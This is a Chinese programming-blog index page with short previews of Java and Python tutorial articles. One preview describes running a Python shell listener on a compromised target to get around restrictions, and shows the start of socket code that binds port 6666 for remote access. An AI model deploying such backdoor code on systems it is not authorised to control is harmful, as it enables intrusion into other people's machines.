编程技术

Struts2中的拦截器的内部结构

让我们再来回顾一下之前我们曾经用过的一张ActionLifeCycle的图:图中,我们可以发现,Struts2的Interceptor一层一层,把Action包裹在最里面。这样的结构,大概有以下一些特点:1.整个结构就如同一个堆栈,除了Action以外,堆栈中的其他元素是Interceptor2.Action位于堆栈的底部。由于堆栈"先进后出"的特性,如果我们试图把Action拿出来执行,我们必须首先把位于Action上端的Interceptor拿出来执行

系统 2019-08-29 22:25:43 2252

编程技术

Netty学习(1)

注:本文翻译自Netty官方网站,地址:https://netty.io/Netty介绍Netty是一个异步事件驱动的网络应用框架,可以快速开发易维护的高性能协议服务器和客户端。Netty是一个NIO的客户端服务器框架,可以快速和简单开发网络应用(比如开发协议的服务器和客户端),大大简化并提高了网络编程的效率(比如开发TCP和UDPsocket服务器)。“快和简单”并不意味着基于Netty所开发的应用会有性能和维护性的问题。Netty从实现很多的协议中获得

系统 2019-08-29 22:14:09 2252

编程技术

junit4参数化测试和easymock的使用

利用junit4的一些新特性,我们可以方便的对多个参数进行测试,下面举一个计算数值和的例子:packagecom.test.junit4;importjava.util.Arrays;importjava.util.Collection;importorg.junit.Assert;importorg.junit.Test;importorg.junit.runner.RunWith;importorg.junit.runners.Parameterize

系统 2019-08-29 22:11:19 2252

编程技术

substring 和 contact 的误解

packagescjp;publicclassDemo140{publicstaticvoidmain(String[]args){Stringfoo="ABCDE";foo.substring(3);foo.concat("XYZ");System.out.println(foo);}}打印结果是是什么?我第一次答错了,写的是DEXYZ,事实上无论是substring还是contact对原来的字符串没有产生任何影响,只是返回了一个substring了的或

系统 2019-08-12 09:30:17 2252

Python

详解10个可以快速用Python进行数据分析的小技巧

一些小提示和小技巧可能是非常有用的,特别是在编程领域。有时候使用一点点黑客技术,既可以节省时间,还可能挽救“生命”。一个小小的快捷方式或附加组件有时真是天赐之物,并且可以成为真正的生产力助推器。所以,这里有一些小提示和小技巧,有些可能是新的,但我相信在下一个数据分析项目中会让你非常方便。Pandas中数据框数据的Profiling过程Profiling(分析器)是一个帮助我们理解数据的过程,而PandasProfiling是一个Python包,它可以简单快

系统 2019-09-27 17:57:26 2251

Python

利用python模拟菜刀反弹shell绕过限制

有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell主要用到pythonos库和sokect库这里的服务端在目标机上运行fromsocketimport*fromosimport*s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议s.bind(('',6666))#补丁端口s.listen(1)#开始监听一个队列whileTrue:sock,addr=s.accept()#返

系统 2019-09-27 17:56:43 2251

Python

让你的Python代码优雅又地道

译序如果说优雅也有缺点的话,那就是你需要艰巨的工作才能得到它,需要良好的教育才能欣赏它。——EdsgerWybeDijkstra在Python社区文化的浇灌下,演化出了一种独特的代码风格,去指导如何正确地使用Python,这就是常说的pythonic。一般说地道(idiomatic)的python代码,就是指这份代码很pythonic。Python的语法和标准库设计,处处契合着pythonic的思想。而且Python社区十分注重编码风格一的一致性,他们极力

系统 2019-09-27 17:55:37 2251

Python

库函数tf.conv2d()卷积的python实现

话不多说,代码说话:importnumpyasnpimportmathclassConv2D(object):def__init__(self,shape,output_channels,ksize=3,stride=1,method='VALID'):self.input_shape=shapeself.output_channels=output_channelsself.input_channels=shape[-1]self.batchsize=s

系统 2019-09-27 17:54:04 2251

Python

python 获取mysql 库信息/表信息/表结构/索引

python获取mysql库信息/表信息/表结构/索引核心代码来自https://github.com/cookieY/Yearning此项目con_database.pyimportpymysqlclassSQLgo(object):def__init__(self,ip=None,user=None,password=None,db=None,port=None):self.ip=ipself.user=userself.password=passwo

系统 2019-09-27 17:53:48 2251

Python

python实现几种归一化方法(Normalization Method)

数据归一化问题是数据挖掘中特征向量表达时的重要问题,当不同的特征成列在一起的时候,由于特征本身表达方式的原因而导致在绝对数值上的小数据被大数据“吃掉”的情况,这个时候我们需要做的就是对抽取出来的featuresvector进行归一化处理,以保证每个特征被分类器平等对待。下面我描述几种常见的NormalizationMethod,并提供相应的python实现(其实很简单):1、(0,1)标准化:这是最简单也是最容易想到的方法,通过遍历featurevecto

系统 2019-09-27 17:53:19 2251

Python

Python 生成器

一、推导式1.1列表推导式语法:[最终结果(变量)for变量in可迭代对象]1lst=[xforxinrange(1,15)]2print(lst)345#获取1-100以内能被3整除的数6lst=[iforiinrange(100)ifi%3==0]78#获取1-100以内能被3整除的数的平方9lst=[i*iforiinrange(100)ifi%3==0]1.2字典推导式1dic={"a":"b","c":"d"}2#把字典中的key,value互换

系统 2019-09-27 17:52:23 2251

Python

python基础——格式化输出

目录:1、%用法2、format用法一、%用法1、整数的格式化%o——oct八进制%d——dec十进制%x——hex十六进制例>>>print('%o'%20)24>>>print('%d'%20)20>>>print('%x'%20)142、浮点数的格式化%e——保留小数点后面六位有效数字,指数形式输出%.3e,保留3位小数位,使用科学计数法%f——保留小数点后面六位有效数字%.3f,保留3位小数位%g——在保证六位有效数字的前提下,使用小数方式,否则使

系统 2019-09-27 17:52:22 2251

Python

解决Python3 控制台输出InsecureRequestWarning问题

解决Python3控制台输出InsecureRequestWarning的问题问题:使用Python3requests发送HTTPS请求,已经关闭认证(verify=False)情况下,控制台会输出以下错误:InsecureRequestWarning:UnverifiedHTTPSrequestisbeingmade.Addingcertificateverificationisstronglyadvised.See:https://urllib3.re

系统 2019-09-27 17:52:19 2251

Python

Python元组及文件核心对象类型详解

元组元组是不可变类型,以()表示,是任意对象的有序集合,同样是序列的一种,index和count方法分别是取元素,统计元素个数。语法比如(2,3)就是一个元组。元组与列表如此类似,为何需要重复的类型,主要它提供了不变性,提供了”常数”声明。元组项虽不能修改,但是嵌套里面的列表项还是可以修改的。文件open内置函数创建文件对象,通过这个对象对外部文件进行操作。函数有三个参数,第一个文件路径,第二个是打开模式,打开模式有三种:'r'表示读文件,'w'表示写文件

系统 2019-09-27 17:52:13 2251

Python

如何用Python来搭建一个简单的推荐系统

在这篇文章中,我们会介绍如何用Python来搭建一个简单的推荐系统。本文使用的数据集是MovieLens数据集,该数据集由明尼苏达大学的Grouplens研究小组整理。它包含1,10和2亿个评级。Movielens还有一个网站,我们可以注册,撰写评论并获得电影推荐。接下来我们就开始实战演练。在这篇文章中,我们会使用Movielens构建一个基于item的简易的推荐系统。在开始前,第一件事就是导入pandas和numPy。importpandasaspdim

系统 2019-09-27 17:49:14 2251